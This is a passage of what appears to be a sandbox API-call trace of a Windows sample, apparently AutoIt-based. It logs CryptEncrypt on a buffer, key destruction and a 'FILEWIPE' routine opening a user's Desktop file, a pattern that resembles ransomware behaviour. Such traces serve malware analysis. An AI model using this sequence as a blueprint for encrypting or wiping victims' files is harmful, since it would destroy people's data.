lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.286] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.286] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.286] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.286] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.286] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.286] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.287] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b080, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0023.288] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0023.288] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064d30, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d30*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.288] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.289] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.289] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.289] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.289] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.290] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.290] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3178, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x3180) returned 1 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] CharLowerBuffW (in: lpsz="byte[12673]", cchLength=0xb | out: lpsz="byte[12673]") returned 0xb [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.290] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.290] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41c09d0*, pdwDataLen=0xe8f3dfdf68*=0x3178, dwBufLen=0x3180 | out: pbData=0xe8f41c09d0*, pdwDataLen=0xe8f3dfdf68*=0x3180) returned 1 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.290] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.290] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.291] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.291] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.291] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.292] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.292] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.292] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.292] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.292] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.292] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.292] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.292] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.296] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.296] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.296] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.296] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.296] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.296] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0023.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.297] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.297] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.297] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0023.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.297] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.297] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.297] CloseHandle (hObject=0x1fc) returned 1 [0023.299] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.299] CloseHandle (hObject=0x188) returned 1 [0023.300] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.301] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.301] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.301] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.302] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\n0ie6v_g.avi")) returned 0x20 [0023.302] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.302] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.avi", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069890 [0023.302] FindClose (in: hFindFile=0xe8f4069890 | out: hFindFile=0xe8f4069890) returned 1 [0023.302] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.302] CharLowerBuffW (in: lpsz="byte[12664]", cchLength=0xb | out: lpsz="byte[12664]") returned 0xb [0023.302] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.302] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.303] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.303] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.303] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0023.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40646e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0023.303] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.304] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.304] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, 